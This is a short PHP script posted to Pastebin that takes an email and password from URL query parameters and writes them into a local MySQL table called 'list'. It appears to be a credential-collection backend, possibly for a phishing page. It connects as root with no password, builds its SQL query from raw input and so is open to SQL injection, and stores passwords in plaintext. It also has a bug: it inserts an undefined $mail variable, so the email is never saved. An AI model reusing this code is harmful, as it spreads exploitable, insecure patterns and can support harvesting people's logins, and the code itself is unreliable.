Advertisement
Guest User

Untitled

a guest
May 3rd, 2017
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.37 KB | None | 0 0
  1. <?
  2.  
  3. $email = $_GET[email];
  4. $password = $_GET[password];
  5.  
  6. $host="localhost";
  7. $dbuser="root";
  8. $dbpass="";
  9. $dbname="mail";  //the name of the database
  10.  
  11. $connect = mysql_connect($host, $dbuser, $dbpass)
  12.     or die("Connection Failure to Database");
  13.  
  14. mysql_query("INSERT INTO `list` (email, password)
  15. VALUES ('$mail', '$password')");
  16.  
  17. mysql_close($connect);
  18.  
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement